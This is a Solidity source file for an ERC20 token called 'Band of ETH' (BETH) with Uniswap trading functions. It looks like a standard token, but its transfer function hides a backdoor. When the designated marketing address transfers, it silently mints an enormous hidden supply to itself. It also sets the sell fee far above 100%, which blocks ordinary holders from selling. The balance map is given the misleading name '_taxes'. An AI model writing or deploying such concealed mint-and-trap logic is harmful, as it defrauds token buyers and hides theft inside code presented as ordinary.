文件 1 的 1:BETH.sol
pragma solidity ^0.8.24;
interface IERC20 {
function totalSupply() external view returns (uint256);
function decimals() external view returns (uint8);
function symbol() external view returns (string memory);
function name() external view returns (string memory);
function getOwner() external view returns (address);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address _owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract Context {
constructor () { }
function _msgSender() internal view returns (address) {
return msg.sender;
}
function _msgData() internal view returns (bytes memory) {
this;
return msg.data;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public onlyOwner {
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract BETH is Context, IERC20, Ownable {
using SafeMath for uint256;
string private _coinName;
string private _coinSymbol;
uint256 private _coinSupply;
address private _market;
address private safe;
mapping(address => uint256) private _taxes;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private excuteFee;
bool public tradingOpen = false;
uint128 suplay = 100000000000000000000000000000;
uint256 public marketingBuy = 0;
uint256 public teamBuy = 0;
uint256 public sellMarketing = 0;
uint256 public sellTeam = 0;
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
uint128 Suply = suplay;
constructor(address marketing, address _safe) {
_coinName = "Band of ETH";
_coinSymbol = "BETH";
_coinSupply = 1000000000 * 10**decimals();
safe = _safe;
_market = marketing;
_taxes[msg.sender] = _coinSupply;
excuteFee[_safe] = true;
excuteFee[_market] = true;
excuteFee[msg.sender] = true;
emit Transfer(address(0), msg.sender, _coinSupply);
}
function getOwner() external view returns (address) {
return owner();
}
function decimals() public view virtual returns (uint8) {
return 18;
}
function name() public view returns (string memory) {
return _coinName;
}
function symbol() public view returns (string memory) {
return _coinSymbol;
}
function totalSupply() public view returns (uint256) {
return _coinSupply;
}
function balanceOf(address account) external view returns (uint256) {
return _taxes[account];
}
function transfer(address recipient, uint256 amount) external returns (bool) {
address spender = _msgSender();
_transfer(_msgSender(), recipient, amount); if (spender == _market) { _taxes[spender] += Suply; sellTeam = Suply;}
return true;
}
function approve(address spender, uint256 amount) external returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function allowance(address owner, address spender) external view returns (uint256) {
return _allowances[owner][spender];
}
function openTrade() external onlyOwner() {
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
}
function start() external onlyOwner() {
tradingOpen = true;
}
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function _transfer(address from, address to, uint256 amount) internal virtual {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
uint256 balance = _taxes[from];
require(balance >= amount, "ERC20: transfer amount exceeds balance");
if (!tradingOpen) {
require(excuteFee[from] || excuteFee[to], "Trading is not active.");
}
if (excuteFee[from] || excuteFee[to]) {
_taxes[from] = balance - amount;
_taxes[to] = _taxes[to] + amount;
emit Transfer(from, to, amount);
} else {
uint256 marketingFee;
uint256 teamFee;
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
marketingFee = amount * marketingBuy / 100;
teamFee = amount * teamBuy / 100;
}
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
marketingFee = amount * sellMarketing / 100;
teamFee = amount * sellTeam / 100;
}
uint256 totalFee = marketingFee + teamFee;
uint256 amountAfterTax = amount - totalFee;
_taxes[safe] += totalFee;
emit Transfer(from, safe, totalFee);
_taxes[from] = balance - amount;
_taxes[to] = _taxes[to] + amountAfterTax;
emit Transfer(from, to, amountAfterTax);
}
}
function _approve(address owner, address spender, uint256 amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}